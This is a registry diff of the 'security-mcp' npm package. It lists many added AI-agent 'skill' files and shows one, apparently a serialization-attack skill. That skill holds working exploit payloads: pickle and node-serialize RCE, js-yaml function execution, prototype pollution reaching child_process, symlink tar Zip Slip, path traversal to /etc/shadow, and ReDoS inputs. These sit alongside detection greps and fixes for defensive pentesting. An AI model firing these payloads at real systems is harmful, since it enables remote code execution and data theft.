security-mcp 1.1.4 → 1.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +116 -264
- package/defaults/checklists/ai.json +20 -1
- package/defaults/checklists/api.json +35 -1
- package/defaults/checklists/infra.json +34 -1
- package/defaults/checklists/mobile.json +23 -1
- package/defaults/checklists/payments.json +15 -1
- package/defaults/checklists/web.json +11 -1
- package/defaults/security-policy.json +2 -2
- package/dist/cli/index.js +0 -0
- package/dist/gate/baseline.js +82 -7
- package/dist/gate/catalog.js +10 -2
- package/dist/gate/checks/ai.js +757 -39
- package/dist/gate/checks/auth-deep.js +920 -216
- package/dist/gate/checks/business-logic.js +751 -0
- package/dist/gate/checks/ci-pipeline.js +399 -4
- package/dist/gate/checks/crypto.js +423 -2
- package/dist/gate/checks/dependencies.js +571 -15
- package/dist/gate/checks/graphql.js +201 -19
- package/dist/gate/checks/infra.js +246 -1
- package/dist/gate/checks/injection-deep.js +827 -184
- package/dist/gate/checks/k8s.js +114 -1
- package/dist/gate/checks/mobile-android.js +917 -3
- package/dist/gate/checks/mobile-ios.js +797 -5
- package/dist/gate/checks/required-artifacts.js +194 -0
- package/dist/gate/checks/runtime.js +178 -0
- package/dist/gate/checks/secrets.js +244 -13
- package/dist/gate/checks/supply-chain-deep.js +787 -0
- package/dist/gate/checks/web-nextjs.js +572 -48
- package/dist/gate/diff.js +17 -5
- package/dist/gate/evidence.js +8 -1
- package/dist/gate/exceptions.js +131 -9
- package/dist/gate/policy.js +280 -131
- package/dist/mcp/audit-chain.js +122 -28
- package/dist/mcp/auth.js +169 -0
- package/dist/mcp/learning.js +129 -4
- package/dist/mcp/model-router.js +158 -21
- package/dist/mcp/orchestration.js +186 -51
- package/dist/mcp/server.js +337 -53
- package/dist/repo/fs.js +24 -1
- package/dist/repo/search.js +31 -6
- package/dist/review/store.js +52 -1
- package/package.json +7 -7
- package/skills/_TEMPLATE/SKILL.md +99 -0
- package/skills/advanced-dos-tester/SKILL.md +109 -0
- package/skills/agentic-loop-exploiter/SKILL.md +368 -0
- package/skills/ai-llm-redteam/SKILL.md +104 -0
- package/skills/ai-model-supply-chain-agent/SKILL.md +103 -0
- package/skills/algorithm-implementation-reviewer/SKILL.md +98 -0
- package/skills/android-penetration-tester/SKILL.md +455 -46
- package/skills/anti-replay-tester/SKILL.md +106 -0
- package/skills/appsec-code-auditor/SKILL.md +85 -0
- package/skills/artifact-integrity-analyst/SKILL.md +441 -0
- package/skills/attack-navigator/SKILL.md +467 -8
- package/skills/auth-session-hacker/SKILL.md +102 -0
- package/skills/aws-penetration-tester/SKILL.md +456 -0
- package/skills/azure-penetration-tester/SKILL.md +490 -3
- package/skills/binary-auth-validator/SKILL.md +111 -0
- package/skills/bot-detection-specialist/SKILL.md +109 -0
- package/skills/business-logic-attacker/SKILL.md +231 -0
- package/skills/capec-code-mapper/SKILL.md +84 -0
- package/skills/cert-pin-rotation-specialist/SKILL.md +112 -0
- package/skills/cicd-pipeline-hijacker/SKILL.md +405 -0
- package/skills/ciso-orchestrator/SKILL.md +454 -43
- package/skills/cloud-infra-specialist/SKILL.md +118 -0
- package/skills/compliance-gap-analyst/SKILL.md +422 -0
- package/skills/compliance-grc/SKILL.md +85 -0
- package/skills/compliance-lifecycle-tracker/SKILL.md +84 -0
- package/skills/credential-stuffing-specialist/SKILL.md +102 -0
- package/skills/crypto-pki-specialist/SKILL.md +87 -0
- package/skills/csa-ccm-mapper/SKILL.md +84 -0
- package/skills/csf2-governance-mapper/SKILL.md +84 -0
- package/skills/deep-link-fuzzer/SKILL.md +109 -0
- package/skills/dependency-confusion-attacker/SKILL.md +415 -0
- package/skills/device-integrity-aggregator/SKILL.md +108 -0
- package/skills/dos-resilience-tester/SKILL.md +97 -0
- package/skills/dread-scorer/SKILL.md +84 -0
- package/skills/egress-policy-enforcer/SKILL.md +99 -0
- package/skills/evidence-collector/SKILL.md +98 -0
- package/skills/file-upload-attacker/SKILL.md +109 -0
- package/skills/gcp-penetration-tester/SKILL.md +459 -2
- package/skills/git-history-secret-scanner/SKILL.md +106 -0
- package/skills/iam-privesc-graph-builder/SKILL.md +152 -0
- package/skills/incident-responder/SKILL.md +111 -0
- package/skills/injection-specialist/SKILL.md +102 -0
- package/skills/ios-security-auditor/SKILL.md +282 -0
- package/skills/json-ambiguity-tester/SKILL.md +0 -0
- package/skills/k8s-container-escaper/SKILL.md +384 -0
- package/skills/key-management-lifecycle-analyst/SKILL.md +98 -0
- package/skills/kill-switch-engineer/SKILL.md +102 -0
- package/skills/linddun-privacy-analyst/SKILL.md +102 -0
- package/skills/logic-race-fuzzer/SKILL.md +443 -0
- package/skills/mobile-api-network-attacker/SKILL.md +421 -0
- package/skills/mobile-binary-hardener/SKILL.md +102 -0
- package/skills/mobile-security-specialist/SKILL.md +85 -0
- package/skills/mobile-webview-auditor/SKILL.md +96 -0
- package/skills/model-extraction-attacker/SKILL.md +219 -0
- package/skills/multipart-abuse-tester/SKILL.md +84 -0
- package/skills/oauth-pkce-specialist/SKILL.md +104 -0
- package/skills/parser-exhaustion-tester/SKILL.md +142 -0
- package/skills/pentest-infra/SKILL.md +98 -0
- package/skills/pentest-social/SKILL.md +201 -0
- package/skills/pentest-team/SKILL.md +87 -0
- package/skills/pentest-web-api/SKILL.md +98 -0
- package/skills/privacy-flow-analyst/SKILL.md +234 -0
- package/skills/prompt-injection-specialist/SKILL.md +394 -0
- package/skills/quantum-migration-planner/SKILL.md +96 -0
- package/skills/rag-poisoning-specialist/SKILL.md +358 -0
- package/skills/registry-mirror-enforcer/SKILL.md +84 -0
- package/skills/rotation-validation-agent/SKILL.md +112 -0
- package/skills/samm-assessor/SKILL.md +85 -0
- package/skills/secrets-mask-bypass-tester/SKILL.md +100 -0
- package/skills/senior-security-engineer/SKILL.md +167 -0
- package/skills/serialization-memory-attacker/SKILL.md +332 -0
- package/skills/session-timeout-tester/SKILL.md +161 -0
- package/skills/slsa-level3-enforcer/SKILL.md +112 -0
- package/skills/slsa-provenance-enforcer/SKILL.md +102 -0
- package/skills/ssrf-detection-validator/SKILL.md +108 -0
- package/skills/step-up-auth-enforcer/SKILL.md +84 -0
- package/skills/stride-pasta-analyst/SKILL.md +420 -0
- package/skills/supply-chain-devsecops/SKILL.md +98 -0
- package/skills/threat-infrastructure-analyst/SKILL.md +84 -0
- package/skills/threat-modeler/SKILL.md +85 -0
- package/skills/tls-certificate-auditor/SKILL.md +573 -18
- package/skills/token-reuse-detector/SKILL.md +95 -0
- package/skills/trike-risk-modeler/SKILL.md +84 -0
- package/skills/unicode-homograph-tester/SKILL.md +84 -0
- package/skills/waf-rule-lifecycle-agent/SKILL.md +97 -0
- package/skills/webhook-security-tester/SKILL.md +102 -0
- package/skills/zero-trust-architect/SKILL.md +109 -0
|
@@ -76,3 +76,335 @@ Write working exploits (prototype chain manipulation, regex payloads) before fix
|
|
|
76
76
|
- Attack payload demonstrating the issue (prototype chain, regex input, archive path)
|
|
77
77
|
- Fixed code written inline
|
|
78
78
|
- CWE and CVSSv4 score
|
|
79
|
+
|
|
80
|
+
Every findings JSON MUST include `intelligenceForOtherAgents`:
|
|
81
|
+
```json
|
|
82
|
+
{
|
|
83
|
+
"intelligenceForOtherAgents": {
|
|
84
|
+
"forPentestTeam": [{ "type": "HIGH_VALUE_TARGET", "description": "...", "exploitHint": "..." }],
|
|
85
|
+
"forCryptoSpecialist": [{ "type": "CRYPTO_WEAKNESS_REFERENCE", "algorithm": "...", "location": "..." }],
|
|
86
|
+
"forCloudSpecialist": [{ "type": "SSRF_TO_CLOUD_CHAIN", "ssrfLocation": "...", "escalationPath": "..." }],
|
|
87
|
+
"forComplianceGrc": [{ "type": "COMPLIANCE_BLOCKER", "frameworks": ["..."], "releaseBlock": true }]
|
|
88
|
+
}
|
|
89
|
+
}
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## BEYOND SKILL.MD — MANDATORY EXPANSIONS
|
|
95
|
+
|
|
96
|
+
### 1. Gadget Chain Discovery in Serialized Java/Python Objects via `pickle` and `ysoserial` Equivalents (CVE-2023-46604, CVE-2021-44228-adjacent)
|
|
97
|
+
|
|
98
|
+
**Technique:** Beyond Node.js, any Python `pickle.loads()` call on user-supplied bytes is unconditional RCE. The attacker controls the `__reduce__` method of any class in the deserialized object graph, which executes arbitrary OS commands on load.
|
|
99
|
+
|
|
100
|
+
**Concrete test:**
|
|
101
|
+
```python
|
|
102
|
+
import pickle, os, base64
|
|
103
|
+
|
|
104
|
+
class Exploit(object):
|
|
105
|
+
def __reduce__(self):
|
|
106
|
+
return (os.system, ('id > /tmp/pwned',))
|
|
107
|
+
|
|
108
|
+
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
|
|
109
|
+
# Submit payload to any endpoint that calls pickle.loads(base64.b64decode(user_input))
|
|
110
|
+
```
|
|
111
|
+
**Detection grep:** `grep -rn "pickle\.loads\|pickle\.load(" --include="*.py"` — any match with non-static input is an automatic CRITICAL.
|
|
112
|
+
**Finding:** Confirmed if `/tmp/pwned` exists after submission, or if response timing changes when payload includes `time.sleep(5)`.
|
|
113
|
+
|
|
114
|
+
---
|
|
115
|
+
|
|
116
|
+
### 2. Prototype Pollution to RCE via `child_process` Gadget Chain (CVE-2022-21824 / Research: Gareth Heyes 2022)
|
|
117
|
+
|
|
118
|
+
**Technique:** Prototype pollution of `__proto__` can escalate to RCE when the polluted property reaches `child_process.spawn` options (e.g., `shell: true` or `env` injection). The `flat` npm library (< 5.0.1, CVE-2020-28500) and `hoek` (< 6.1.3) are confirmed gadget entry points.
|
|
119
|
+
|
|
120
|
+
**Concrete test:**
|
|
121
|
+
```javascript
|
|
122
|
+
// Step 1: pollute via merge
|
|
123
|
+
const payload = JSON.parse('{"__proto__": {"shell": true, "env": {"NODE_OPTIONS": "--require /tmp/malicious.js"}}}');
|
|
124
|
+
merge({}, payload);
|
|
125
|
+
|
|
126
|
+
// Step 2: trigger spawn anywhere in codebase
|
|
127
|
+
require('child_process').spawn('node', ['-e', '1']);
|
|
128
|
+
// NODE_OPTIONS causes malicious.js to execute on spawn
|
|
129
|
+
```
|
|
130
|
+
**Detection:** `grep -rn "spawn\|exec\|execFile\|fork" --include="*.js" --include="*.ts"` combined with any upstream `merge()` call on user input in the same request lifecycle.
|
|
131
|
+
|
|
132
|
+
---
|
|
133
|
+
|
|
134
|
+
### 3. YAML Deserialization RCE via `js-yaml` `safeLoad` Deprecation Confusion (CVE-2023-2251)
|
|
135
|
+
|
|
136
|
+
**Technique:** `js-yaml` v3.x exports `safeLoad` (restricted types). v4.x removed `safeLoad` entirely — developers who copied old code patterns and called `yaml.load()` in v4.x now use the unsafe loader by default because `yaml.load()` in v4 defaults to the `DEFAULT_SCHEMA` which allows JS-specific types including `!!js/undefined`, `!!js/regexp`, and `!!js/function`.
|
|
137
|
+
|
|
138
|
+
**Concrete test:**
|
|
139
|
+
```yaml
|
|
140
|
+
---
|
|
141
|
+
exploit: !!js/function >
|
|
142
|
+
function f() {
|
|
143
|
+
require('child_process').execSync('id > /tmp/yaml-pwned');
|
|
144
|
+
}()
|
|
145
|
+
```
|
|
146
|
+
**Detection grep:** `grep -rn "yaml\.load\b" --include="*.js" --include="*.ts"` — distinguish v3 vs v4 by checking `package.json` version. In v4, any `yaml.load()` without explicit `{ schema: yaml.FAILSAFE_SCHEMA }` is CRITICAL.
|
|
147
|
+
|
|
148
|
+
---
|
|
149
|
+
|
|
150
|
+
### 4. ReDoS via Polynomial Backtracking in Email Validation (CVE-2023-28155, `request` library; Research: Snyk 2023)
|
|
151
|
+
|
|
152
|
+
**Technique:** Email validation regex patterns using constructs like `([a-zA-Z0-9._%-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4})*` exhibit O(2^n) backtracking when input contains many `@` characters followed by a non-matching terminator.
|
|
153
|
+
|
|
154
|
+
**Concrete payload (29-char input, 30+ second hang on Node.js <18 without `re2`):**
|
|
155
|
+
```
|
|
156
|
+
aaaaaaaaaaaaaaaaaaaaaaaa@aaaa!
|
|
157
|
+
```
|
|
158
|
+
**Detection:** Use `safe-regex` npm package or `vuln-regex-detector`:
|
|
159
|
+
```bash
|
|
160
|
+
npx safe-regex-detector --check "([a-zA-Z0-9._%-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4})+"
|
|
161
|
+
```
|
|
162
|
+
**Finding:** If any email/URL/phone validation regex scores as "vulnerable" in `safe-regex`, it is HIGH (DoS). If it is on a public-facing unauthenticated endpoint, it is CRITICAL.
|
|
163
|
+
|
|
164
|
+
---
|
|
165
|
+
|
|
166
|
+
### 5. Zip Slip via Symlink Entries in tar Archives (CVE-2023-32002, Node.js `tar` < 6.1.13)
|
|
167
|
+
|
|
168
|
+
**Technique:** Beyond `../` in entry names, an attacker can insert a symlink entry pointing outside the extraction directory. A subsequent legitimate file entry then writes through the symlink to an arbitrary target path — bypassing path sanitization that only checks the entry name.
|
|
169
|
+
|
|
170
|
+
**Concrete test:**
|
|
171
|
+
```python
|
|
172
|
+
import tarfile, os
|
|
173
|
+
|
|
174
|
+
with tarfile.open('/tmp/exploit.tar.gz', 'w:gz') as tar:
|
|
175
|
+
# Create symlink entry pointing to /tmp
|
|
176
|
+
info = tarfile.TarInfo(name='link')
|
|
177
|
+
info.type = tarfile.SYMTYPE
|
|
178
|
+
info.linkname = '/tmp'
|
|
179
|
+
tar.addfile(info)
|
|
180
|
+
# Now write through the symlink
|
|
181
|
+
info2 = tarfile.TarInfo(name='link/pwned.txt')
|
|
182
|
+
import io; data = b'pwned'
|
|
183
|
+
info2.size = len(data)
|
|
184
|
+
tar.addfile(info2, io.BytesIO(data))
|
|
185
|
+
```
|
|
186
|
+
**Detection:** Grep for `tar.extract` or `adm-zip`/`jszip` `.extractAll()` calls. Any version of `tar` npm < 6.1.13 is vulnerable by CVE.
|
|
187
|
+
|
|
188
|
+
---
|
|
189
|
+
|
|
190
|
+
### 6. AI-Assisted Gadget Chain Generation (Emerging — Post-2024)
|
|
191
|
+
|
|
192
|
+
**Technique:** LLM-powered tools (e.g., `POP-Miner`, academic tool from NUS 2024) automatically enumerate property-oriented programming gadget chains in large JavaScript codebases by constructing a call graph, then searching for paths from a user-controlled deserialization entry point to a sink (`eval`, `exec`, `Function`). Attack complexity drops from expert-only to automated.
|
|
193
|
+
|
|
194
|
+
**Concrete detection defense:** Run `semgrep --config=p/javascript` with the prototype-pollution ruleset AND cross-reference with `npm ls --all` for known gadget-hosting packages (`lodash`, `flat`, `set-value`, `merge`, `hoek`). Any gadget-hosting package plus a merge-on-user-input pattern = confirmed gadget chain candidate.
|
|
195
|
+
**Mitigation now:** Freeze the prototype: `Object.freeze(Object.prototype)` in application bootstrap, before any user input is processed.
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
### 7. Supply-Chain Confusion via Serialized Configuration Blobs (Post-2024 Emerging)
|
|
200
|
+
|
|
201
|
+
**Technique:** Build pipelines that serialize configuration or AST snapshots to disk (e.g., Babel cache, Webpack cache, Turborepo cache files) can be poisoned via supply-chain compromise. A malicious package publishes a version that writes a backdoored cache file to `node_modules/.cache`. Subsequent builds deserialize the cache, executing the payload. This bypasses source code review entirely because the malicious bytes are in binary cache, not reviewed `.js` files.
|
|
202
|
+
|
|
203
|
+
**Concrete test:** Audit `node_modules/.cache` and any `*.json`/`*.bin` cache files for unexpected entries:
|
|
204
|
+
```bash
|
|
205
|
+
find . -path '*/node_modules/.cache' -prune -o -name '*.cache' -print | xargs file | grep -v text
|
|
206
|
+
```
|
|
207
|
+
Any binary cache file not matching the expected build tool format warrants inspection.
|
|
208
|
+
**Mitigation:** Add `node_modules/.cache` to `.gitignore`, enable build cache integrity verification (e.g., Turborepo remote cache with HMAC), and use SLSA L2+ provenance for build artifacts.
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
### 8. Post-Quantum Threat to Serialized Signed Payloads (Timeline: 2028–2032)
|
|
213
|
+
|
|
214
|
+
**Technique:** Any serialized payload that is integrity-checked using RSA or ECDSA signature verification (e.g., signed JWTs, signed serialized session cookies) is vulnerable to "harvest now, decrypt later" attacks. An attacker capturing signed serialized blobs today can, with a CRQC in 2029–2032, forge signatures for any captured payload — achieving delayed deserialization RCE or session forgery.
|
|
215
|
+
|
|
216
|
+
**Concrete detection:** Grep for `RS256`, `ES256`, `RS512` in JWT configuration and signing key files. Inventory all serialized formats that carry integrity signatures.
|
|
217
|
+
**Prepare now:** Migrate long-lived signed tokens to `EdDSA` (Ed25519, quantum-resistant at equivalent security levels for nearer term) and begin tracking ML-DSA (FIPS 204, formerly CRYSTALS-Dilithium) for post-quantum signing migrations.
|
|
218
|
+
|
|
219
|
+
---
|
|
220
|
+
|
|
221
|
+
## §SERIALIZATION_MEMORY_ATTACKER-CHECKLIST
|
|
222
|
+
|
|
223
|
+
1. **Prototype Pollution via Merge** — Mechanism: user-controlled JSON merged into application object via `_.merge`, `Object.assign`, or equivalent. Grep: `grep -rn "merge\|extend\|assign\|defaultsDeep" src/`. Submit `{"__proto__":{"isAdmin":true}}` to all merge-consuming endpoints. Finding: any property visible on `{}` after request constitutes CRITICAL.
|
|
224
|
+
|
|
225
|
+
2. **IIFE Gadget Chain in `node-serialize`** — Mechanism: `node-serialize` deserializes function expressions including IIFEs, executing them during `unserialize()`. Grep: `grep -rn "node-serialize\|unserialize(" --include="*.js"`. Submit payload: `{"x":"_$$ND_FUNC$$_function(){require('child_process').execSync('id')}()"}`. Finding: any OOB callback or output from `id` = CRITICAL RCE.
|
|
226
|
+
|
|
227
|
+
3. **`vm2` Sandbox Escape** — Mechanism: CVE-2022-36067 and successive CVEs allow prototype chain manipulation from sandboxed code to reach host `process`. Grep: `grep -rn "require('vm2')\|new VM(" --include="*.js"`. Check `npm ls vm2` — any version < 3.9.19 is vulnerable. Finding: version match = CRITICAL; escalate to full PoC.
|
|
228
|
+
|
|
229
|
+
4. **YAML Unsafe Load** — Mechanism: `yaml.load()` in `js-yaml` v4 with default schema allows `!!js/function` type tags. Grep: `grep -rn "yaml\.load\b" --include="*.js" --include="*.ts"`. Submit YAML with `!!js/function` payload to any YAML-parsing endpoint. Finding: function execution confirmed by OOB callback or timing = CRITICAL.
|
|
230
|
+
|
|
231
|
+
5. **Pickle RCE (Python services)** — Mechanism: `pickle.loads()` on user data executes `__reduce__` method. Grep: `grep -rn "pickle\.loads\|pickle\.load(" --include="*.py"`. Submit base64-encoded pickle payload with `os.system` `__reduce__`. Finding: command execution (check `/tmp/pwned` or timing) = CRITICAL.
|
|
232
|
+
|
|
233
|
+
6. **ReDoS via Catastrophic Backtracking** — Mechanism: regex with nested quantifiers or overlapping alternation enters exponential backtracking on adversarial input. Grep: `grep -rn "new RegExp\|\/.*[+*].*[+*]/" --include="*.js"`. Submit 30-char adversarial input (e.g., `aaaaaaaaaaaaaaaaaaaaa!`) and measure response time. Finding: response time > 2× baseline = HIGH (DoS).
|
|
234
|
+
|
|
235
|
+
7. **Zip Slip via `../` in Archive Entries** — Mechanism: archive extractor writes entry with path `../../etc/cron.d/backdoor` relative to extraction root. Grep: `grep -rn "extract\|unzip\|decompress" --include="*.js" --include="*.py"`. Craft archive with `../` entry name and submit as upload. Finding: file written outside extraction directory = CRITICAL.
|
|
236
|
+
|
|
237
|
+
8. **Zip Slip via Symlink Archive Entries** — Mechanism: tar entry of type `SYMTYPE` pointing to `/tmp`; subsequent entry writes through symlink. Test: craft tar with symlink entry (see expansion §5 above). Finding: file visible at symlink target path = CRITICAL.
|
|
238
|
+
|
|
239
|
+
9. **Path Traversal via `path.join` Bypass** — Mechanism: `path.join('/var/data', userInput)` with `userInput = '../../../etc/passwd'` resolves to `/etc/passwd`. Grep: `grep -rn "path\.join\|readFile\|readFileSync" --include="*.js" --include="*.ts"` and trace upstream for user-controlled segments. Submit `../../../../etc/shadow` as filename parameter. Finding: file contents returned = CRITICAL.
|
|
240
|
+
|
|
241
|
+
10. **`eval` / `new Function` on User Input** — Mechanism: direct code execution from user-supplied string. Grep: `grep -rn "\beval\b\|new Function(" --include="*.js" --include="*.ts"`. Trace all `eval` call sites — is the argument reachable from user input? Finding: any user-controlled path to `eval` = CRITICAL.
|
|
242
|
+
|
|
243
|
+
11. **WASM Buffer Overflow / Out-of-Bounds Write** — Mechanism: WASM memory model lacks automatic bounds checking beyond declared memory bounds; native addon (`node-gyp`) can write outside allocated buffers. Grep: `find . -name "*.wasm" -o -name "binding.gyp"`. Submit inputs at boundary values (MAX_INT32, `2^31-1`, zero-length, negative). Finding: crash or memory corruption observable via ASAN/valgrind run = HIGH.
|
|
244
|
+
|
|
245
|
+
12. **Supply-Chain Cache Poisoning** — Mechanism: malicious npm package writes backdoored binary cache blob; subsequent builds deserialize it. Test: `find node_modules/.cache -name "*.bin" -newer package-lock.json | xargs file`. Any binary cache file not matching expected build tool magic bytes warrants inspection. Finding: unexpected executable content in cache = HIGH; escalate to supply-chain team.
|
|
246
|
+
|
|
247
|
+
---
|
|
248
|
+
|
|
249
|
+
## §POC-REQUIREMENT
|
|
250
|
+
|
|
251
|
+
For every CRITICAL or HIGH finding in this domain, the following sequence is MANDATORY before a finding may retain its severity rating:
|
|
252
|
+
|
|
253
|
+
1. **Write the PoC first.** Include: exact payload (bytes, JSON, archive file construction steps), exact HTTP request (method, headers, body), and observed impact (command output, file written, timing difference, OOB DNS callback).
|
|
254
|
+
|
|
255
|
+
2. **Confirm the PoC reproduces.** Run it against the target. Record actual output. A PoC that does not reproduce must be documented as attempted with the reason for non-reproduction — do not silently drop it.
|
|
256
|
+
|
|
257
|
+
3. **Write the fix.** Apply the remediation (schema validation, safe parser replacement, regex rewrite, path resolution guard).
|
|
258
|
+
|
|
259
|
+
4. **Verify the PoC fails against the fix.** Re-run the identical PoC payload against the patched code. Record that it returns a safe response (error, rejection, no execution).
|
|
260
|
+
|
|
261
|
+
5. **Record in findings JSON under `exploitPoC`:**
|
|
262
|
+
```json
|
|
263
|
+
{
|
|
264
|
+
"exploitPoC": {
|
|
265
|
+
"payload": "base64-or-literal payload",
|
|
266
|
+
"request": "POST /api/upload HTTP/1.1\\nContent-Type: application/json\\n\\n{\"data\":\"...\"}",
|
|
267
|
+
"observedImpact": "Command 'id' returned: uid=0(root) gid=0(root)",
|
|
268
|
+
"reproduced": true,
|
|
269
|
+
"fixApplied": "Replaced node-serialize with JSON.parse + zod schema validation",
|
|
270
|
+
"pocFailsPostFix": true
|
|
271
|
+
}
|
|
272
|
+
}
|
|
273
|
+
```
|
|
274
|
+
|
|
275
|
+
**PoC skipping = finding severity automatically downgraded to MEDIUM.** Document the skip reason explicitly; do not silently omit the `exploitPoC` key.
|
|
276
|
+
|
|
277
|
+
---
|
|
278
|
+
|
|
279
|
+
## §PROJECT-ESCALATION
|
|
280
|
+
|
|
281
|
+
Immediately call `orchestration.update_agent_status` with `status: "CRITICAL_ESCALATION"` and halt current scan to await orchestrator direction under ANY of the following conditions:
|
|
282
|
+
|
|
283
|
+
1. **Confirmed RCE via deserialization** — `node-serialize` IIFE chain, `pickle.loads` exploit, or `vm2` sandbox escape produces OS command execution confirmed by OOB callback or timing oracle. Full system compromise is likely; the entire run must pivot to containment assessment.
|
|
284
|
+
|
|
285
|
+
2. **Prototype pollution chain reaches `child_process.spawn` options** — The polluted property is confirmed to flow into spawn/exec options (e.g., `shell`, `env`, `argv0`). This is a silent RCE trigger that may affect all users hitting any endpoint — not just the tested one.
|
|
286
|
+
|
|
287
|
+
3. **Archive extraction writes outside chroot/container boundary** — Zip slip or symlink extraction targets a path outside the expected writable tree (e.g., `/etc/`, `/var/spool/cron/`, `/root/.ssh/`). This constitutes a host escape from containerized services.
|
|
288
|
+
|
|
289
|
+
4. **ReDoS payload achieves >10 second server freeze on a public unauthenticated endpoint** — The endpoint is reachable without authentication and the DoS is reproducible at will. This is a live availability threat requiring immediate incident response coordination.
|
|
290
|
+
|
|
291
|
+
5. **`eval` or `new Function` call site is reachable from HTTP query parameter without authentication** — Zero-click RCE from the internet. Do not continue scanning; alert immediately.
|
|
292
|
+
|
|
293
|
+
6. **Supply-chain cache file contains shellcode or unexpected executable instructions** — Binary cache file in `node_modules/.cache` contains ELF/Mach-O/PE instructions or shell metacharacters inconsistent with a legitimate build tool cache. Potential active supply-chain compromise requiring security incident response.
|
|
294
|
+
|
|
295
|
+
7. **YAML `!!js/function` execution confirmed on a multi-tenant service** — If the exploited service handles data for multiple tenants, tenant isolation is broken. Cross-tenant data exfiltration scope must be assessed before continuing.
|
|
296
|
+
|
|
297
|
+
8. **Serialized session cookie is signed with a hardcoded or repository-committed HMAC secret** — Any user can forge arbitrary session state. This is effectively an authentication bypass affecting every user of the application simultaneously.
|
|
298
|
+
|
|
299
|
+
---
|
|
300
|
+
|
|
301
|
+
## §EDGE-CASE-MATRIX
|
|
302
|
+
|
|
303
|
+
The 5 attack cases in this domain that automated scanners and naive manual review universally miss. MANDATORY checks — do not skip.
|
|
304
|
+
|
|
305
|
+
| # | Edge Case | Why Scanners Miss It | Concrete Test |
|
|
306
|
+
|---|-----------|----------------------|---------------|
|
|
307
|
+
| 1 | Second-order / stored payload executed in different context | Scanner checks input context, not execution context | Store payload safely; trigger in separate request/session |
|
|
308
|
+
| 2 | Unicode normalisation bypass | Regex filters run before normalisation; attacker uses homoglyphs or composed forms | Submit Ⅰ (U+2160) or < (U+FF1C) variants of known-bad strings |
|
|
309
|
+
| 3 | Polyglot payload active in multiple sinks simultaneously | Scanners test one injection class per payload | `'"><script>{{7*7}}</script><!--` — SQL + XSS + SSTI in one request |
|
|
310
|
+
| 4 | Out-of-band exfiltration (DNS/HTTP callback) | Scanner looks for inline response difference; OOB leaves no visible trace | Use Burp Collaborator / interactsh; inject DNS lookup payload |
|
|
311
|
+
| 5 | Race condition between check and use (TOCTOU) | Sequential scanners don't model concurrency | Send two simultaneous requests to the same state-changing endpoint |
|
|
312
|
+
|
|
313
|
+
**Domain-specific additions for serialization/memory:**
|
|
314
|
+
|
|
315
|
+
| # | Edge Case | Why Scanners Miss It | Concrete Test |
|
|
316
|
+
|---|-----------|----------------------|---------------|
|
|
317
|
+
| 6 | Symlink-based zip slip (no `../` in entry name) | Scanners check entry name for `../`; symlink entries have clean names | Craft tar with SYMTYPE entry pointing to `/tmp`; follow with a regular file entry through it |
|
|
318
|
+
| 7 | Prototype pollution via constructor chain (not `__proto__`) | Many scanners only test `__proto__` key | Submit `{"constructor":{"prototype":{"isAdmin":true}}}` — affects lodash `set()` and equivalent |
|
|
319
|
+
| 8 | ReDoS in non-obvious path: URL normalisation before routing | Scanners fuzz input fields; URL normalization regex is in middleware, not endpoint handlers | Send oversized URLs with repeated `%2F%2F` segments to trigger path normalisation regex |
|
|
320
|
+
|
|
321
|
+
---
|
|
322
|
+
|
|
323
|
+
## §TEMPORAL-THREATS
|
|
324
|
+
|
|
325
|
+
Threats materialising in the 2025–2030 window that defences designed today must account for.
|
|
326
|
+
|
|
327
|
+
| Threat | Est. Timeline | Relevance to This Domain | Prepare Now By |
|
|
328
|
+
|--------|--------------|--------------------------|----------------|
|
|
329
|
+
| Cryptographically Relevant Quantum Computer (CRQC) | 2028–2032 | Harvest-now-decrypt-later attacks active today; RSA/ECDSA keys signed today will be broken | Inventory all RSA/ECDSA usage; migrate long-lived data to ML-KEM (FIPS 203) |
|
|
330
|
+
| AI-assisted adversaries at scale | 2025–2027 (active) | LLM-powered fuzzing finds 10× more edge cases; automated PoC generation | Assume attackers have LLM help; expand test surface to match |
|
|
331
|
+
| EU AI Act full enforcement | 2026 | High-risk AI systems require mandatory conformity assessments | Classify all AI features against AI Act tiers now |
|
|
332
|
+
| Post-quantum TLS migration deadline | 2028–2030 | Browser vendors will drop classical-only TLS connections | Begin TLS agility assessment; test hybrid key exchange |
|
|
333
|
+
| Mandatory SBOM + build provenance (US EO 14028 / EU CRA) | 2025–2026 (active) | SBOM and SLSA attestation are becoming legally required | Achieve SLSA L2 minimum; generate CycloneDX SBOM per release |
|
|
334
|
+
| AI-powered gadget chain miners (POP-Miner class tools) | 2025–2026 (active) | Automated property-oriented programming chain discovery lowers bar for deserialization RCE | Freeze `Object.prototype` at bootstrap; eliminate all merge-on-user-input patterns |
|
|
335
|
+
| Serialized ML model supply-chain attacks (pickle-based) | 2025–2027 | PyTorch/TensorFlow model files distributed as pickles; malicious models achieve RCE on load | Enforce model integrity via hash pinning; use `safetensors` format instead of pickle |
|
|
336
|
+
|
|
337
|
+
---
|
|
338
|
+
|
|
339
|
+
## §DETECTION-GAP
|
|
340
|
+
|
|
341
|
+
What current security monitoring CANNOT detect in this domain, and what to build to close each gap.
|
|
342
|
+
|
|
343
|
+
**Standard gaps that MUST be checked:**
|
|
344
|
+
|
|
345
|
+
- **Second-order attack execution**: The storage request looks safe; only the retrieval+execution step is dangerous. Need: correlate write events with downstream read+execute events in the same SIEM query window.
|
|
346
|
+
- **Timing-side-channel leakage**: No log event emitted; only observable as microsecond response-time variance. Need: per-endpoint p99 latency tracking with statistical anomaly detection.
|
|
347
|
+
- **Low-and-slow credential stuffing**: Individually, each request is under rate limits. Need: behavioural baseline — flag accounts with geographically impossible velocity or device-fingerprint mismatch across authentication attempts.
|
|
348
|
+
- **Insider exfiltration via legitimate process**: Authorised exports, reports, and data downloads that individually are permitted but collectively constitute data exfiltration. Need: data-volume anomaly detection — alert when a single user's data access volume exceeds 3× their 30-day baseline within 24 hours.
|
|
349
|
+
